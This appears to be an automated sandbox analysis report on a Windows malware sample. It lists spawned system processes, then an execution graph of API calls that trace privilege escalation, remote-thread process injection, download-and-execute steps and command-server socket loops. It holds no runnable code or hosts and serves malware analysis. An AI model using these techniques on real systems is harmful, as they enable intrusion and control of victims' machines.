                  Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:false
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:31
                  Start time:08:04:42
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:32
                  Start time:08:04:51
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:33
                  Start time:08:04:52
                  Start date:20/07/2022
                  Path:C:\Windows\System32\backgroundTaskHost.exe
                  Wow64 process (32bit):false
                  Commandline:"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                  Imagebase:0x7ff613fd0000
                  File size:19352 bytes
                  MD5 hash:B7FC4A29431D4F795BBAB1FB182B759A
                  Has elevated privileges:true
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:34
                  Start time:08:04:53
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:35
                  Start time:08:04:53
                  Start date:20/07/2022
                  Path:C:\Windows\System32\BackgroundTransferHost.exe
                  Wow64 process (32bit):false
                  Commandline:"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                  Imagebase:0x7ff6ac0e0000
                  File size:36864 bytes
                  MD5 hash:02BA81746B929ECC9DB6665589B68335
                  Has elevated privileges:true
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:36
                  Start time:08:04:54
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k netsvcs -p -s lfsvc
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:37
                  Start time:08:04:55
                  Start date:20/07/2022
                  Path:C:\Windows\System32\BackgroundTransferHost.exe
                  Wow64 process (32bit):false
                  Commandline:"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                  Imagebase:0x7ff6ac0e0000
                  File size:36864 bytes
                  MD5 hash:02BA81746B929ECC9DB6665589B68335
                  Has elevated privileges:true
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:38
                  Start time:08:04:56
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  General

                  Target ID:39
                  Start time:08:05:02
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language

                  General

                  Target ID:40
                  Start time:08:05:04
                  Start date:20/07/2022
                  Path:C:\Windows\System32\svchost.exe
                  Wow64 process (32bit):false
                  Commandline:c:\windows\system32\svchost.exe -k localservice -p -s EventSystem
                  Imagebase:0x7ff78ca80000
                  File size:51288 bytes
                  MD5 hash:32569E403279B3FD2EDB7EBD036273FA
                  Has elevated privileges:true
                  Has administrator privileges:false
                  Programmed in:C, C++ or other language

                  Disassembly

                  Reset < >

                    Execution Graph

                    Execution Coverage:3%
                    Dynamic/Decrypted Code Coverage:0%
                    Signature Coverage:62.8%
                    Total number of Nodes:650
                    Total number of Limit Nodes:2
                    execution_graph 6262 7fea4c6b 6265 7fea4c9e 6262->6265 6266 7fea4caa 6265->6266 6273 7fea4499 6266->6273 6268 7fea4cb7 6269 7fea4499 5 API calls 6268->6269 6272 7fea4d64 6268->6272 6270 7fea4d58 6269->6270 6271 7fea4499 5 API calls 6270->6271 6270->6272 6271->6272 6274 7fea44c2 CreateFileA 6273->6274 6275 7fea44a3 GetFileAttributesA 6273->6275 6278 7fea44fc CreateFileMappingA 6274->6278 6275->6274 6276 7fea44af SetFileAttributesA 6275->6276 6276->6274 6280 7fea4573 MapViewOfFile 6278->6280 6282 7fea45a8 6280->6282 6282->6268 7359 c20000 7360 c20004 7359->7360 7361 c200a1 7360->7361 7363 c2025e 7360->7363 7367 c20105 7363->7367 7366 c20278 7366->7361 7368 c20116 GetPEB 7367->7368 7368->7366 6511 7fea43ad 6512 7fea43b9 6511->6512 6515 7fea43dd 6512->6515 6514 7fea43c4 6518 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6515->6518 6517 7fea43e3 6517->6514 6518->6517 6283 7fea33e0 6284 7fea344e 6283->6284 6285 7fea33e5 6283->6285 6287 7fea345f NtQuerySystemInformation 6284->6287 6291 7fea35f3 6284->6291 6286 7fea346f MapViewOfFile CloseHandle 6285->6286 6289 7fea3440 NtOpenSection 6285->6289 6290 7fea34b0 6286->6290 6286->6291 6287->6286 6288 7fea34b7 UnmapViewOfFile 6288->6291 6289->6284 6290->6288 6290->6291 6519 c23888 6521 c2388e GetSystemTime 6519->6521 6522 c238d2 6521->6522 6523 c2390c Sleep 6522->6523 6524 c23a32 6522->6524 6525 c23924 InternetGetConnectedState 6522->6525 6526 c23954 gethostbyname 6522->6526 6529 c23a1f closesocket 6522->6529 6523->6522 6525->6522 6526->6522 6527 c2397a socket 6526->6527 6527->6522 6528 c23990 ioctlsocket connect Sleep 6527->6528 6528->6522 6529->6522 7373 7fea6620 7374 7fea6647 5 API calls 7373->7374 7375 7fea662a 7374->7375 6569 7fea2665 6571 7fea266b CreateThread CloseHandle 6569->6571 6572 7fea3c38 6571->6572 6574 7fea3c3d 6572->6574 6575 7fea3ca9 6574->6575 6578 7fea3c5b GetWindowsDirectoryA 6574->6578 6629 7fea252f NtOpenSection 6575->6629 6577 7fea3cae 6580 7fea3cfb GetSystemDirectoryA 6577->6580 6581 7fea3cb5 6577->6581 6582 7fea3d26 6578->6582 6674 7fea3d1f lstrcat 6580->6674 6630 7fea3cc2 GetModuleHandleA 6581->6630 6716 7fea3d36 LoadLibraryA 6582->6716 6629->6577 6631 7fea3ccc 6630->6631 6632 7fea3cde 6630->6632 6634 7fea3cd4 GetProcAddress 6631->6634 6757 7fea3cf0 GetModuleHandleA 6632->6757 6634->6632 6675 7fea3d26 6674->6675 6676 7fea3d36 151 API calls 6675->6676 6677 7fea3d2b GetProcAddress LoadLibraryA 6676->6677 6679 7fea3d7d 6677->6679 6680 7fea10ce 2 API calls 6677->6680 6681 7fea3d92 GetTickCount 6679->6681 6680->6679 6682 7fea3daa 6681->6682 6683 7fea3e47 GetVolumeInformationA 6682->6683 6684 7fea3e7a 6683->6684 6685 7fea3f25 6684->6685 6686 7fea3eb5 96 API calls 6684->6686 6687 7fea3f4f 6685->6687 6688 7fea3f31 CreateThread CloseHandle 6685->6688 6689 7fea3ea9 6686->6689 6690 7fea3f60 43 API calls 6687->6690 6688->6687 6689->6685 6691 7fea3eca GetModuleFileNameA wsprintfA 6689->6691 6692 7fea3f54 6690->6692 6695 7fea3f14 6691->6695 6693 7fea3f7e 6692->6693 6694 7fea10ce 2 API calls 6692->6694 6696 7fea3f8f 23 API calls 6693->6696 6694->6693 6695->6685 6698 7fea3405 5 API calls 6695->6698 6697 7fea3f83 6696->6697 6699 7fea3fd6 CreateThread CloseHandle 6697->6699 6700 7fea3ffa CreateEventA 6697->6700 6698->6685 6699->6700 6703 7fea4012 6700->6703 6701 7fea4056 lstrlen 6701->6701 6702 7fea4065 gethostbyname 6701->6702 6702->6703 6703->6701 6703->6702 6704 7fea4081 socket 6703->6704 6705 7fea4320 RtlExitUserThread 6703->6705 6707 7fea42d0 SetEvent 6703->6707 6708 7fea42f2 Sleep ResetEvent 6703->6708 6709 7fea42b7 closesocket 6703->6709 6710 7fea40ef GetVersionExA 6703->6710 6711 7fea4172 wsprintfA 6703->6711 6712 7fea41a7 CreateThread CloseHandle 6703->6712 6713 7fea41f6 GetTickCount 6703->6713 6714 7fea4288 Sleep 6703->6714 6704->6703 6706 7fea40a6 connect 6704->6706 6706->6703 6706->6709 6707->6703 6708->6703 6709->6703 6710->6703 6711->6703 6712->6703 6713->6703 6714->6703 6715 7fea4294 GetTickCount 6714->6715 6715->6703 6915 7fea3d4b GetProcAddress LoadLibraryA 6716->6915 6800 7fea26d4 6757->6800 6760 7fea3d1f 179 API calls 6761 7fea3d12 GetProcAddress LoadLibraryA 6760->6761 6763 7fea3d7d 6761->6763 6764 7fea10ce 2 API calls 6761->6764 6765 7fea3d92 GetTickCount 6763->6765 6764->6763 6766 7fea3daa 6765->6766 6767 7fea3e47 GetVolumeInformationA 6766->6767 6768 7fea3e7a 6767->6768 6769 7fea3f25 6768->6769 6802 7fea3eb5 LoadLibraryA 6768->6802 6771 7fea3f4f 6769->6771 6772 7fea3f31 CreateThread CloseHandle 6769->6772 6834 7fea3f60 LoadLibraryA 6771->6834 6772->6771 6801 7fea26c8 GetSystemDirectoryA 6800->6801 6801->6760 6856 7fea3ecc GetProcAddress GetModuleFileNameA wsprintfA 6802->6856 6835 7fea10ce 2 API calls 6834->6835 6836 7fea3f7e 6835->6836 6837 7fea3f8f 23 API calls 6836->6837 6838 7fea3f83 6837->6838 6839 7fea3fd6 CreateThread CloseHandle 6838->6839 6840 7fea3ffa CreateEventA 6838->6840 6839->6840 6853 7fea4012 6840->6853 6841 7fea4056 lstrlen 6841->6841 6842 7fea4065 gethostbyname 6841->6842 6842->6853 6843 7fea4081 socket 6845 7fea40a6 connect 6843->6845 6843->6853 6844 7fea4320 RtlExitUserThread 6848 7fea42b7 closesocket 6845->6848 6845->6853 6846 7fea42d0 SetEvent 6846->6853 6847 7fea42f2 Sleep ResetEvent 6847->6853 6848->6853 6849 7fea40ef GetVersionExA 6849->6853 6850 7fea4172 wsprintfA 6850->6853 6851 7fea41a7 CreateThread CloseHandle 6851->6853 6852 7fea41f6 GetTickCount 6852->6853 6853->6841 6853->6842 6853->6843 6853->6844 6853->6846 6853->6847 6853->6848 6853->6849 6853->6850 6853->6851 6853->6852 6854 7fea4288 Sleep 6853->6854 6854->6853 6855 7fea4294 GetTickCount 6854->6855 6855->6853 6857 7fea3f14 6856->6857 6858 7fea3f25 6857->6858 6885 7fea3405 6857->6885 6860 7fea3f4f 6858->6860 6861 7fea3f31 CreateThread CloseHandle 6858->6861 6862 7fea3f60 43 API calls 6860->6862 6861->6860 6863 7fea3f54 6862->6863 6864 7fea3f7e 6863->6864 6865 7fea10ce 2 API calls 6863->6865 6894 7fea3f8f LoadLibraryA 6864->6894 6865->6864 6886 7fea343b 6885->6886 6886->6886 6887 7fea3440 NtOpenSection 6886->6887 6888 7fea344e 6887->6888 6889 7fea345f NtQuerySystemInformation 6888->6889 6890 7fea35f3 6888->6890 6891 7fea346f MapViewOfFile CloseHandle 6889->6891 6890->6858 6891->6890 6893 7fea34b0 6891->6893 6892 7fea34b7 UnmapViewOfFile 6892->6890 6893->6890 6893->6892 6895 7fea3f9d 6894->6895 6896 7fea4320 RtlExitUserThread 6894->6896 6897 7fea10ce 2 API calls 6895->6897 6898 7fea3fb5 6897->6898 6898->6896 6899 7fea3fc2 WSAStartup CreateThread CloseHandle 6898->6899 6900 7fea3ffa CreateEventA 6899->6900 6912 7fea4012 6900->6912 6901 7fea4056 lstrlen 6901->6901 6902 7fea4065 gethostbyname 6901->6902 6902->6912 6903 7fea4081 socket 6904 7fea40a6 connect 6903->6904 6903->6912 6907 7fea42b7 closesocket 6904->6907 6904->6912 6905 7fea42d0 SetEvent 6905->6912 6906 7fea42f2 Sleep ResetEvent 6906->6912 6907->6912 6908 7fea40ef GetVersionExA 6908->6912 6909 7fea4172 wsprintfA 6909->6912 6910 7fea41a7 CreateThread CloseHandle 6910->6912 6911 7fea41f6 GetTickCount 6911->6912 6912->6896 6912->6901 6912->6902 6912->6903 6912->6905 6912->6906 6912->6907 6912->6908 6912->6909 6912->6910 6912->6911 6913 7fea4288 Sleep 6912->6913 6913->6912 6914 7fea4294 GetTickCount 6913->6914 6914->6912 6916 7fea10ce 2 API calls 6915->6916 6917 7fea3d7d 6916->6917 6918 7fea3d92 GetTickCount 6917->6918 6919 7fea3daa 6918->6919 6920 7fea3e47 GetVolumeInformationA 6919->6920 6921 7fea3e7a 6920->6921 6922 7fea3f25 6921->6922 6923 7fea3eb5 96 API calls 6921->6923 6924 7fea3f4f 6922->6924 6925 7fea3f31 CreateThread CloseHandle 6922->6925 6926 7fea3ea9 6923->6926 6927 7fea3f60 43 API calls 6924->6927 6925->6924 6926->6922 6928 7fea3eca GetModuleFileNameA wsprintfA 6926->6928 6929 7fea3f54 6927->6929 6932 7fea3f14 6928->6932 6930 7fea3f7e 6929->6930 6931 7fea10ce 2 API calls 6929->6931 6933 7fea3f8f 23 API calls 6930->6933 6931->6930 6932->6922 6935 7fea3405 5 API calls 6932->6935 6934 7fea3f83 6933->6934 6936 7fea3fd6 CreateThread CloseHandle 6934->6936 6937 7fea3ffa CreateEventA 6934->6937 6935->6922 6936->6937 6950 7fea4012 6937->6950 6938 7fea4056 lstrlen 6938->6938 6939 7fea4065 gethostbyname 6938->6939 6939->6950 6940 7fea4081 socket 6942 7fea40a6 connect 6940->6942 6940->6950 6941 7fea4320 RtlExitUserThread 6945 7fea42b7 closesocket 6942->6945 6942->6950 6943 7fea42d0 SetEvent 6943->6950 6944 7fea42f2 Sleep ResetEvent 6944->6950 6945->6950 6946 7fea40ef GetVersionExA 6946->6950 6947 7fea4172 wsprintfA 6947->6950 6948 7fea41a7 CreateThread CloseHandle 6948->6950 6949 7fea41f6 GetTickCount 6949->6950 6950->6938 6950->6939 6950->6940 6950->6941 6950->6943 6950->6944 6950->6945 6950->6946 6950->6947 6950->6948 6950->6949 6951 7fea4288 Sleep 6950->6951 6951->6950 6952 7fea4294 GetTickCount 6951->6952 6952->6950 6225 7fea663a 6228 7fea6647 6225->6228 6229 7fea6644 6228->6229 6230 7fea6652 6228->6230 6232 7fea6658 6230->6232 6235 7fea2574 6232->6235 6254 7fea252f NtOpenSection 6235->6254 6237 7fea257c 6238 7fea2582 NtMapViewOfSection CloseHandle 6237->6238 6239 7fea2661 6237->6239 6238->6239 6241 7fea25ba 6238->6241 6239->6229 6240 7fea25ef 6256 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6240->6256 6241->6240 6255 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6241->6255 6244 7fea2600 6257 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6244->6257 6246 7fea2611 6258 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6246->6258 6248 7fea2622 6249 7fea2637 6248->6249 6259 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6248->6259 6251 7fea264c 6249->6251 6260 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6249->6260 6251->6239 6261 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6251->6261 6254->6237 6255->6240 6256->6244 6257->6246 6258->6248 6259->6249 6260->6251 6261->6239 7376 7fea443b 7379 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 7376->7379 7378 7fea4441 7379->7378 6292 7fea02fe 6293 7fea0415 6292->6293 6295 7fea042d 6293->6295 6326 7fea10ce 6295->6326 6297 7fea048f 6298 7fea04dd 6297->6298 6299 7fea04b0 GetModuleHandleA 6297->6299 6300 7fea04f8 GetVersion 6298->6300 6299->6298 6301 7fea05ca 6300->6301 6302 7fea050f VirtualAlloc 6300->6302 6303 7fea05a9 CloseHandle 6301->6303 6304 7fea05d3 SetProcessAffinityMask 6301->6304 6302->6303 6308 7fea0532 6302->6308 6306 7fea05f2 GetModuleHandleA 6303->6306 6333 7fea05f2 GetModuleHandleA 6304->6333 6307 7fea10ce 2 API calls 6306->6307 6324 7fea05ec 6307->6324 6308->6303 6330 7fea05ba 6308->6330 6309 7fea06fc lstrcpyW 6352 7fea24ae lstrcpyW lstrlenW 6309->6352 6312 7fea074c NtMapViewOfSection 6312->6303 6312->6324 6313 7fea0717 GetPEB lstrcpyW lstrcatW 6314 7fea24ae 3 API calls 6313->6314 6314->6324 6315 7fea0780 NtOpenProcessToken 6316 7fea07c5 CreateToolhelp32Snapshot Process32First 6315->6316 6315->6324 6316->6324 6317 7fea2574 5 API calls 6317->6324 6319 7fea07eb Process32Next 6320 7fea0865 CloseHandle 6319->6320 6319->6324 6320->6303 6321 7fea07fd OpenProcess 6321->6319 6321->6324 6322 7fea085c CloseHandle 6322->6319 6323 7fea0834 CreateRemoteThread 6323->6322 6323->6324 6324->6303 6324->6309 6324->6312 6324->6313 6324->6315 6324->6316 6324->6317 6324->6319 6324->6321 6324->6322 6324->6323 6325 7fea05ba Sleep 6324->6325 6355 7fea07ac 6324->6355 6325->6322 6328 7fea10db 6326->6328 6327 7fea115c 6327->6297 6328->6326 6328->6327 6329 7fea1133 GetModuleHandleA GetProcAddress 6328->6329 6329->6328 6331 7fea05c9 6330->6331 6332 7fea05bf Sleep 6330->6332 6331->6303 6332->6330 6334 7fea10ce 2 API calls 6333->6334 6350 7fea060e 6334->6350 6335 7fea05a9 CloseHandle 6335->6333 6336 7fea06fc lstrcpyW 6337 7fea24ae 3 API calls 6336->6337 6337->6350 6338 7fea074c NtMapViewOfSection 6338->6335 6338->6350 6339 7fea0717 GetPEB lstrcpyW lstrcatW 6340 7fea24ae 3 API calls 6339->6340 6340->6350 6341 7fea0780 NtOpenProcessToken 6342 7fea07c5 CreateToolhelp32Snapshot Process32First 6341->6342 6341->6350 6342->6350 6343 7fea2574 5 API calls 6343->6350 6344 7fea07ac 30 API calls 6344->6350 6345 7fea07eb Process32Next 6346 7fea0865 CloseHandle 6345->6346 6345->6350 6346->6335 6347 7fea07fd OpenProcess 6347->6345 6347->6350 6348 7fea085c CloseHandle 6348->6345 6349 7fea0834 CreateRemoteThread 6349->6348 6349->6350 6350->6335 6350->6336 6350->6338 6350->6339 6350->6341 6350->6342 6350->6343 6350->6344 6350->6345 6350->6347 6350->6348 6350->6349 6351 7fea05ba Sleep 6350->6351 6351->6348 6353 7fea6c09 6352->6353 6354 7fea24ea NtCreateSection 6353->6354 6354->6324 6377 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6355->6377 6357 7fea07b2 FreeLibrary CloseHandle 6358 7fea07c5 CreateToolhelp32Snapshot Process32First 6357->6358 6369 7fea060e 6358->6369 6359 7fea2574 5 API calls 6359->6369 6360 7fea07eb Process32Next 6361 7fea0865 CloseHandle 6360->6361 6360->6369 6364 7fea05a9 CloseHandle 6361->6364 6362 7fea07fd OpenProcess 6362->6360 6362->6369 6363 7fea085c CloseHandle 6363->6360 6366 7fea05f2 GetModuleHandleA 6364->6366 6365 7fea0834 CreateRemoteThread 6365->6363 6365->6369 6367 7fea10ce 2 API calls 6366->6367 6367->6369 6368 7fea05ba Sleep 6368->6363 6369->6358 6369->6359 6369->6360 6369->6362 6369->6363 6369->6364 6369->6365 6369->6368 6370 7fea06fc lstrcpyW 6369->6370 6372 7fea074c NtMapViewOfSection 6369->6372 6373 7fea0717 GetPEB lstrcpyW lstrcatW 6369->6373 6375 7fea0780 NtOpenProcessToken 6369->6375 6376 7fea07ac 13 API calls 6369->6376 6371 7fea24ae 3 API calls 6370->6371 6371->6369 6372->6364 6372->6369 6374 7fea24ae 3 API calls 6373->6374 6374->6369 6375->6358 6375->6369 6376->6369 6377->6357 6378 c20fd6 6381 c210a0 6378->6381 6379 c2115c 6380 c21133 GetModuleHandleA GetProcAddress 6380->6381 6381->6379 6381->6380 6530 c23399 6532 c233a2 6530->6532 6533 c233a9 Sleep 6532->6533 6533->6533 7380 c23819 7382 c2381f WaitForSingleObject 7380->7382 7383 c23845 7382->7383 7384 c2383b closesocket 7382->7384 7384->7383 6953 c22762 6955 c22768 6953->6955 6956 c22780 GetTempPathA 6955->6956 6957 c22839 InternetCloseHandle 6955->6957 6965 c227a7 GetTempFileNameA CreateFileA 6956->6965 6959 c227a3 CreateFileA 6960 c22829 InternetCloseHandle 6959->6960 6961 c227ce InternetReadFile 6959->6961 6960->6957 6962 c227e8 6961->6962 6963 c227fe CloseHandle CreateProcessA 6961->6963 6962->6963 6964 c227ea WriteFile 6962->6964 6963->6960 6964->6961 6964->6963 6966 c22829 InternetCloseHandle 6965->6966 6967 c227ce InternetReadFile 6965->6967 6970 c22839 InternetCloseHandle 6966->6970 6968 c227e8 6967->6968 6969 c227fe CloseHandle CreateProcessA 6967->6969 6968->6969 6971 c227ea WriteFile 6968->6971 6969->6966 6970->6959 6971->6967 6971->6969 7385 c21422 LookupPrivilegeValueA NtAdjustPrivilegesToken 6382 c233e0 6383 c233e5 6382->6383 6384 c2346f MapViewOfFile CloseHandle 6383->6384 6385 c23440 NtOpenSection 6383->6385 6388 c234b0 6384->6388 6389 c235f3 6384->6389 6387 c2345f NtQuerySystemInformation 6385->6387 6385->6389 6386 c234b7 UnmapViewOfFile 6386->6389 6387->6384 6388->6386 6388->6389 7386 c26620 7389 c26647 7386->7389 7390 c26652 7389->7390 7391 c2662a 7389->7391 7393 c26658 7390->7393 7394 c22574 5 API calls 7393->7394 7395 c2666a 7394->7395 7395->7391 6972 c22665 6974 c2266b CreateThread CloseHandle 6972->6974 6975 c23c38 6974->6975 6977 c23c3d 6975->6977 6978 c23ca9 6977->6978 6981 c23c5b GetWindowsDirectoryA 6977->6981 7032 c2252f NtOpenSection 6978->7032 6980 c23cae 6983 c23cb5 6980->6983 6984 c23cfb GetSystemDirectoryA 6980->6984 6985 c23d26 6981->6985 7033 c23cc2 GetModuleHandleA 6983->7033 7077 c23d1f lstrcat 6984->7077 7119 c23d36 LoadLibraryA 6985->7119 7032->6980 7034 c23cde 7033->7034 7035 c23ccc 7033->7035 7160 c23cf0 GetModuleHandleA 7034->7160 7037 c23cd4 GetProcAddress 7035->7037 7037->7034 7078 c23d26 7077->7078 7079 c23d36 151 API calls 7078->7079 7080 c23d2b GetProcAddress LoadLibraryA 7079->7080 7082 c210ce 2 API calls 7080->7082 7083 c23d7d 7082->7083 7084 c23d92 GetTickCount 7083->7084 7085 c23daa 7084->7085 7086 c23e47 GetVolumeInformationA 7085->7086 7087 c23e7a 7086->7087 7088 c23f25 7087->7088 7089 c23eb5 96 API calls 7087->7089 7090 c23f31 CreateThread CloseHandle 7088->7090 7091 c23f4f 7088->7091 7092 c23ea9 7089->7092 7090->7091 7093 c23f60 43 API calls 7091->7093 7092->7088 7095 c23eca GetModuleFileNameA wsprintfA 7092->7095 7094 c23f54 7093->7094 7096 c210ce 2 API calls 7094->7096 7098 c23f14 7095->7098 7097 c23f7e 7096->7097 7099 c23f8f 23 API calls 7097->7099 7098->7088 7101 c23405 5 API calls 7098->7101 7100 c23f83 7099->7100 7102 c23fd3 CreateThread CloseHandle 7100->7102 7103 c23ffa CreateEventA 7100->7103 7101->7088 7102->7103 7116 c24012 7103->7116 7104 c24056 lstrlen 7104->7104 7105 c24065 gethostbyname 7104->7105 7105->7116 7106 c24081 socket 7108 c240a6 connect 7106->7108 7106->7116 7107 c24320 RtlExitUserThread 7110 c242b7 closesocket 7108->7110 7108->7116 7109 c242d0 SetEvent 7109->7116 7110->7116 7111 c242f2 Sleep ResetEvent 7111->7116 7112 c240ef GetVersionExA 7112->7116 7113 c24172 wsprintfA 7113->7116 7114 c241a7 CreateThread CloseHandle 7114->7116 7115 c241f6 GetTickCount 7115->7116 7116->7104 7116->7105 7116->7106 7116->7107 7116->7109 7116->7110 7116->7111 7116->7112 7116->7113 7116->7114 7116->7115 7117 c24288 Sleep 7116->7117 7117->7116 7118 c24294 GetTickCount 7117->7118 7118->7116 7317 c23d4b GetProcAddress LoadLibraryA 7119->7317 7203 c226d4 7160->7203 7163 c23d1f 179 API calls 7164 c23d12 GetProcAddress LoadLibraryA 7163->7164 7166 c210ce 2 API calls 7164->7166 7167 c23d7d 7166->7167 7168 c23d92 GetTickCount 7167->7168 7169 c23daa 7168->7169 7170 c23e47 GetVolumeInformationA 7169->7170 7171 c23e7a 7170->7171 7172 c23f25 7171->7172 7205 c23eb5 LoadLibraryA 7171->7205 7174 c23f31 CreateThread CloseHandle 7172->7174 7175 c23f4f 7172->7175 7174->7175 7237 c23f60 LoadLibraryA 7175->7237 7204 c226c8 GetSystemDirectoryA 7203->7204 7204->7163 7259 c23ecc GetProcAddress GetModuleFileNameA wsprintfA 7205->7259 7238 c23f7e 7237->7238 7239 c210ce 2 API calls 7237->7239 7240 c23f8f 23 API calls 7238->7240 7239->7238 7241 c23f83 7240->7241 7242 c23fd3 CreateThread CloseHandle 7241->7242 7243 c23ffa CreateEventA 7241->7243 7242->7243 7256 c24012 7243->7256 7244 c24056 lstrlen 7244->7244 7245 c24065 gethostbyname 7244->7245 7245->7256 7246 c24081 socket 7248 c240a6 connect 7246->7248 7246->7256 7247 c24320 RtlExitUserThread 7250 c242b7 closesocket 7248->7250 7248->7256 7249 c242d0 SetEvent 7249->7256 7250->7256 7251 c242f2 Sleep ResetEvent 7251->7256 7252 c240ef GetVersionExA 7252->7256 7253 c24172 wsprintfA 7253->7256 7254 c241a7 CreateThread CloseHandle 7254->7256 7255 c241f6 GetTickCount 7255->7256 7256->7244 7256->7245 7256->7246 7256->7247 7256->7249 7256->7250 7256->7251 7256->7252 7256->7253 7256->7254 7256->7255 7257 c24288 Sleep 7256->7257 7257->7256 7258 c24294 GetTickCount 7257->7258 7258->7256 7260 c23f14 7259->7260 7261 c23f25 7260->7261 7288 c23405 7260->7288 7263 c23f31 CreateThread CloseHandle 7261->7263 7264 c23f4f 7261->7264 7263->7264 7265 c23f60 43 API calls 7264->7265 7266 c23f54 7265->7266 7267 c210ce 2 API calls 7266->7267 7268 c23f7e 7267->7268 7296 c23f8f LoadLibraryA 7268->7296 7289 c2343b 7288->7289 7289->7289 7290 c23440 NtOpenSection 7289->7290 7291 c2345f NtQuerySystemInformation 7290->7291 7295 c235f3 7290->7295 7292 c2346f MapViewOfFile CloseHandle 7291->7292 7294 c234b0 7292->7294 7292->7295 7293 c234b7 UnmapViewOfFile 7293->7295 7294->7293 7294->7295 7295->7261 7297 c24320 RtlExitUserThread 7296->7297 7298 c23f9d 7296->7298 7299 c210ce 2 API calls 7298->7299 7300 c23fb5 7299->7300 7300->7297 7301 c23fc2 WSAStartup CreateThread CloseHandle 7300->7301 7302 c23ffa CreateEventA 7301->7302 7314 c24012 7302->7314 7303 c24056 lstrlen 7303->7303 7304 c24065 gethostbyname 7303->7304 7304->7314 7305 c24081 socket 7306 c240a6 connect 7305->7306 7305->7314 7308 c242b7 closesocket 7306->7308 7306->7314 7307 c242d0 SetEvent 7307->7314 7308->7314 7309 c242f2 Sleep ResetEvent 7309->7314 7310 c240ef GetVersionExA 7310->7314 7311 c24172 wsprintfA 7311->7314 7312 c241a7 CreateThread CloseHandle 7312->7314 7313 c241f6 GetTickCount 7313->7314 7314->7297 7314->7303 7314->7304 7314->7305 7314->7307 7314->7308 7314->7309 7314->7310 7314->7311 7314->7312 7314->7313 7315 c24288 Sleep 7314->7315 7315->7314 7316 c24294 GetTickCount 7315->7316 7316->7314 7318 c23d7d 7317->7318 7319 c210ce 2 API calls 7317->7319 7320 c23d92 GetTickCount 7318->7320 7319->7318 7321 c23daa 7320->7321 7322 c23e47 GetVolumeInformationA 7321->7322 7323 c23e7a 7322->7323 7324 c23f25 7323->7324 7325 c23eb5 96 API calls 7323->7325 7326 c23f31 CreateThread CloseHandle 7324->7326 7327 c23f4f 7324->7327 7328 c23ea9 7325->7328 7326->7327 7329 c23f60 43 API calls 7327->7329 7328->7324 7331 c23eca GetModuleFileNameA wsprintfA 7328->7331 7330 c23f54 7329->7330 7332 c210ce 2 API calls 7330->7332 7334 c23f14 7331->7334 7333 c23f7e 7332->7333 7335 c23f8f 23 API calls 7333->7335 7334->7324 7337 c23405 5 API calls 7334->7337 7336 c23f83 7335->7336 7338 c23fd3 CreateThread CloseHandle 7336->7338 7339 c23ffa CreateEventA 7336->7339 7337->7324 7338->7339 7342 c24012 7339->7342 7340 c24056 lstrlen 7340->7340 7341 c24065 gethostbyname 7340->7341 7341->7342 7342->7340 7342->7341 7343 c24081 socket 7342->7343 7344 c24320 RtlExitUserThread 7342->7344 7346 c242d0 SetEvent 7342->7346 7347 c242b7 closesocket 